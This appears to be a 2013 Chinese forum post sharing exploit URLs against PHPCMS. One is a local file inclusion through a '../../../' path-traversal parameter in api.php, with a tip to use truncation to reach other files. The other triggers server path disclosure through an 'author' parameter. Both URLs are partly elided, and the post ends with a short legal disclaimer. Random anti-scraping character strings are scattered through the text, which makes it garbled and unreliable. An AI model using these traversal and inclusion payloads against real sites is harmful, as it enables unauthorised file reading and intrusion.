我就不贴代码了，有兴趣的自己跟一下吧，说不定可以发现更多。% u/ M0 @' O- a: o
3 U1 h% C8 w9 wExp: http://www.php0day.com/api.php?o ... efile=../../../fuck( g+ r3 H, N1 \+ M H: }
: W( \# Z8 \' i% B
#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧，看你运气了。
% B% v/ f- B5 X( {. ^/ n2 K3 c6 v/ j8 ~5 N
Exp: http://www.php0day.com/phpcms/mo ... l.php?author=b4dboy
* Q/ P$ x0 _+ ~7 H: v6 f! N
a1 C$ k# I2 \; H$ W# s0 N#暴路径
1 B6 E# w; J) K) p1 |$ K3 K* r1 @0 C$ m
注：请遵守国家相关法律，请勿非法入侵，产生任何后果自己负责。& H# L" R4 T4 P0 t& }, l# a
+ `& e! r7 q0 e: J+ l7 a8 w; ^ s2 f1 u
0 a0 W- A: h0 ^5 D5 r7 ^" w& ~0 v
+1 |
发表于 2013-4-4 17:28:59
收藏
支持
反对